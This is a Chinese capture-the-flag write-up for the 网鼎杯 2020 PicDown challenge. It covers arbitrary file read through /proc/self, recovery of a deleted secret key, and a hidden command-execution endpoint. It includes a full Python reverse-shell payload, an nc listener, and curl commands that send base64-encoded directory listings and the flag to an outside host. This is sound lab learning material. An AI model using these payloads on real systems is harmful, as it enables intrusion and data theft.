[网鼎杯 2020 白虎组]PicDown
思路

仅有一个输入框,输入当前题目的url进行测试发现其会传回一个包含当前网站信息的jpg文件
该文件仅后缀为jpg,内容为url内容
可以推断出这里是下载文件的用处
先对其进行协议测试,发现其支持data协议和http相关协议,不支持php和file协议
直接输入/etc/passwd也能打开,说明可以直接读取文件,尝试/flag无果
做到这里没思路了
解题
看WP得知有这么一个文件夹:/proc,是Linux系统通过万物皆文件的理念,把内存进程做成了文件的形式来保存各种数据
这里用到的有两个:/proc/self/cmdline 记录了当前进程的原始命令/proc/self/environ 记录了当前进程的环境变量/proc/self/fd 记录了当前进程打开的每一个文件的描述符
我们分别输入,得到信息:
/proc/self/cmdline:
python2app.py
/proc/self/environ:
MAIL=/var/mail/appUSER=appHOME=/home/appLOGNAME=appPATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/gamesSHELL=/bin/shPWD=/app
那么,我们先看看这个/app/app.py是什么:
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
我们想办法看看这个SECRET_KEY
源文件已经被删除了,但是内存中的不被释放
依次输入/proc/self/fd/0/proc/self/fd/1/proc/self/fd/2/proc/self/fd/3
拿到了:jEYyArYjyJrw2JRRxTbg19vISBc10RuGwzRiyMtB0eQ=
测试可以用,接下来是shell了
这个shell我试了很久,因为没有回显所以很痛苦
本想利用shell创建文件再读取文件,不知怎么的没有成功
看WP,学习两种解法
参考文献:
[网鼎杯 2020 白虎组]PicDown-CSDN博客
[BUUCTF题解][网鼎杯 2020 白虎组]PicDown – Article_kelp – 博客园 (cnblogs.com)
反弹shell – MustaphaMond – 博客园 (cnblogs.com) (反弹shell知识)
python反弹shell
远程服务器上监听35236窗口:
与此同时发送payload:
nc -lvp 35236
/no_one_know_the_manager?key=jEYyArYjyJrw2JRRxTbg19vISBc10RuGwzRiyMtB0eQ=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',35236));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
注:ip填自己的

这里的效果相当于交互式shell,很简单拿到flag:flag{4f410160-a7a0-4e48-a30f-8343ef4d6d4e}
curl反弹shell
我看原理好像和python反弹shell差不多,但要简洁很多
nc -lvp 35236
/no_one_know_the_manager?key=jEYyArYjyJrw2JRRxTbg19vISBc10RuGwzRiyMtB0eQ=&shell=curl ip:35236/`ls /|base64`
/no_one_know_the_manager?key=jEYyArYjyJrw2JRRxTbg19vISBc10RuGwzRiyMtB0eQ=&shell=curl ip:35236/`cat /flag|base64`


后面不演示了
注意
学习一下/proc文件夹
学习一下反弹shell